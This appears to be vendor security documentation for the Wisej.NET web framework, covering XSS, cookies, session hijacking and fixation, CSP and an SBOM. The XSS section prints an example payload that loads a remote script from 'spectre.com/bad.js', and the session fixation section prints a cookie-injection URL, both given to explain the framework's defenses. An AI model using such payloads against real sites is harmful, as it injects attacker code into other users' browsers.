Security

Wisej.NET is secure by design and supports all the latest security defenses. This document covers common threats and how they are handled.

HTML/Script Injection

A key difference between traditional HTML-based applications (ASP.NET/MVC/JSP) and Single Page Applications (SPAs) is how they handle HTML:

  • Traditional apps concatenate HTML strings on the server and parse HTML requests

  • SPAs (like Wisej.NET Real Time Web Applications) don't build or parse HTML strings

In Wisej.NET, DOM manipulation happens directly in the browser through Ajax JSON packets. This prevents HTML/script injection since HTML isn't used and scripts remain as text when manipulating the DOM.

Cross Site Scripting (XSS)

Cross-Site Scripting can affect Wisej.NET applications when displaying unencoded or unsanitized HTML text.

A malicious user might enter text like this in a TextBox or DataGridView cell:

<img src="x" src="alert('Hello')" />

<!-- Or better -->

<img src="x" src="e=document.createElement('script');
                  e.src='http://spectre.com/bad.js';
                  document.head.append(e)" />

If displayed as HTML, this script executes. When shown to other users, it could potentially access screen content.

By default, Wisej.NET encodes all text sent to the browser, displaying HTML as plain text. However:

  1. Setting AllowHtml to true on controls (labels, grid columns, buttons, tree nodes) allows HTML execution

  2. Using MessageBox or AlertBox with user-entered text executes HTML by default since AllowHtml is true

You can either sanitize text or disable HTML:

MessageBox.Show(badText, allowHtml:false);

Starting from Wisej.NET 3.0.10, we added a global method to process any user input, regardless of source control. Assign your method to TextUtils.ConvertToString(owner, value). Default implementation:

TextUtils.ConvertToString = (owner, value) =>
{
  if (value == null)
    return null;
  else if (value is string)
    return (string)value;
  else if (value is DateTime)
    return ((DateTime)value).ToString("yyyy-MM-ddTHH:mm:ss.fff", CultureInfo.InvariantCulture);
  else
    return Convert.ToString(value);
};

Your implementation of TextUtils.ConvertToString(owner, value) can "clean up" any user input before assignment to the control. The owner argument is the receiving component.

HttpOnly Cookies

Cookies managed through Wisej.Web.Application.Cookies do not support setting the HttpOnly flag because they are written using JavaScript to be compatible with WebSocket connections. However, you can create HttpOnly cookies effortlessly by leveraging the underlying ASP.NET or ASP.NET Core HttpContext. Refer to the code example below for guidance.

using System.Web;

var context = HttpContext.Current;
context.Response.Cookies.Add(new System.Web.HttpCookie("Test") {
    Value = "I'm an HttpOnly cookie",
    HttpOnly = true,
});

When WebSocket is enabled (default), you can write HttpOnly cookies only during:

  • Initial Program.Main() execution

  • Application.ApplicationStart event handling

  • Application.ApplicationRefresh event handling

  • Any time when Application.IsWebSocket returns false

However, all cookies set with HttpOnly remain accessible in the Application.Cookies collection.

Session Hijacking

Session hijacking affects all web applications maintaining sessions. Sessions require either:

  • A session cookie

  • A session ID in the URL

If someone obtains a live session ID, they can access the session and breach the application. According to Microsoft, very little can be done to prevent this in ASP.NET/MVC, especially with cookieless mode where session IDs appear in URLs.

Wisej.NET supports both cookie and cookieless modes. For security:

  1. Wisej.NET generates a client fingerprint hash using browser information

  2. Each request is validated against this fingerprint

  3. Mismatched fingerprints trigger new sessions

  4. WebSocket connections add protection - impossible to attach multiple live sockets to one session

  5. SSL can be enforced (https: and wss: for WebSocket) via the secure setting

Typical real-time exchange in Wisej. The request is sent in plain JSON and carries the session id.

With WebSocket, spoofed requests to active sessions are impossible. With HTTP-only, the attacker's computer must match the original client's browser version, OS, and IP address.

Session Fixation

Session fixation is a form of "reverse session hijacking". The attacker creates a valid session, then "fixes" it on the victim's machine through some means.

The attacks described by OWASP are impractical. For example, this has never worked in any browser: http://website.kom/<script>document.cookie="sessionid=abcd";</script>

After "fixing" the session, if the victim logs in, the attacker's session becomes authenticated. This naive attack fails with Wisej.NET - the server immediately invalidates the "fixed" session ID and assigns a new one to the victim.

DoS Attacks

Denial of service (DoS) protection isn't built into Wisej.NET since it would be too late once requests reach the HTTP handler. While we could mitigate DoS events, IIS thread usage makes handler- level protection insufficient. DoS attacks are better handled at the OS level before reaching the web server (Apache/IIS).

Authentication

Wisej.NET supports any .NET authentication method. Since nothing displays to users without your application creating it, you can perform any authentication before enabling resource access.

Beyond code authentication, Wisej.NET supports standard IIS authentication methods and exposes user credentials through Application.UserIdentity.

Sensitive Data Protection

Traditional HTML-based systems mix JavaScript, callbacks, postbacks, services, and API keys on the client. Potential intruders can inspect code/page/source for sensitive information.

This vulnerability increases with client-side-only SPAs (ExtJS, standalone qooxdoo, dojo). These require exposing business logic, visual logic, and access keys on the client. Any client-side code is inspectable.

With Wisej.NET, no application code reaches the client unless explicitly placed there. Everything runs securely on the server, with only property updates and events communicated between server and client.

Disabled or Hidden Controls

Wisej.NET performs server-side verification that "executable" controls triggering click events are enabled and visible. This prevents users from using browser dev-tools to activate hidden or disabled controls.

Content Security Policy

Wisej.NET supports Strict CSP policies compatible with:

The simplest CSP matches DevExpress server-side controls policy:

<head>
  <meta http-equiv="Content-Security-Policy" content="default-src 'self';  
        script-src 'unsafe-inline' 'unsafe-eval' 'self';  
        style-src 'unsafe-inline' 'self';  
        img-src 'self' data:" />
</head>

The strictest CSP requires a random nonce. Configuration example:

<head>
  <meta http-equiv="Content-Security-Policy" content="default-src 'self';  
        script-src 'nonce-{random}' 'unsafe-inline' 'unsafe-eval' 'self';  
        style-src 'unsafe-inline' 'self';  
        img-src 'self' data:" />
  <script nonce='{random}' src="wisej.wx"></script>      
</head>

When using the random nonce you have to actually generate a random identifier. In some cases you may want to change it every time the application is loaded in the browser. Which requires the Default.html page to be modified on the server side on each request.

There are several ways to accomplish that. You can preprocess the Default.html file using a server side handler and replace a placeholder. Or you can use dynamic HTML pages: i.e. Default.aspx or Default.cshtml (razor) pages or any other dynamic html system.

Examples using Default.aspx and Default.cshtml:

<%@ Page Language=C# %>

<!DOCTYPE html>
<html>
<head>
    <title>WisejWebPageCSP</title>
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=Edge;IE=11" />
    <meta http-equiv="Cache-Control" content="no-store" />

    <script runat="server">
        string nonce = (new Random()).Next(10000,99999).ToString();
    </script>

    <meta http-equiv="Content-Security-Policy" content="default-src 'self';
        script-src 'nonce-<%=nonce%>' 'unsafe-inline' 'unsafe-eval' 'self';
        style-src 'unsafe-inline' 'self';
        img-src 'self' data:" />

    <script nonce='<%=nonce%>' src="wisej.wx"></script>

</head>
<body>
</body>
</html>

Generate a new Session Id

Since 3.5.2 Use Application.RefreshSessionId() to generate a new session id without losing the current session. Best practice: generate new session id after user authentication.

Generating a new session id invalidates any captured sessions immediately.

Application.RefreshSessionId() can be called anytime, without affecting the current session.

Software Bill of Materials (SBOM)

We are publishing the Software Bill of Materials (SBOM) for Wisej.NET. By doing so, we aim to support our customers who are required to create and maintain their own SBOMs to comply with the Cyber Resilience Act or other regulatory requirements. The SBOM provides comprehensive information about the components and dependencies included in Wisej.NET, enabling organizations to achieve greater transparency, manage security risks effectively, and meet legal or policy obligations.

A “software bill of materials” (SBOM) has emerged as a key building block in software security and software supply chain risk management. An SBOM is a nested inventory, a list of ingredients that make up software components.

This table provides a summary of the dependencies in Wisej.NET. To view the complete SBOM in JSON format, following the SPDX schema, please download the file below.

Name
Version
License

WinForms

4.8.0

MIT

WinForms

8.0.0

MIT

Qooxdoo

5.1.0

LGPL, EPL, MIT

Pako

1.0.1

MIT

EmbedIO

3.5.2

MIT

Download our SBOM in SPDX/JSON format

If you need a tool to generate your own SBOM, Microsoft has open-sourced their SBOM generation tool.

Last updated

Was this helpful?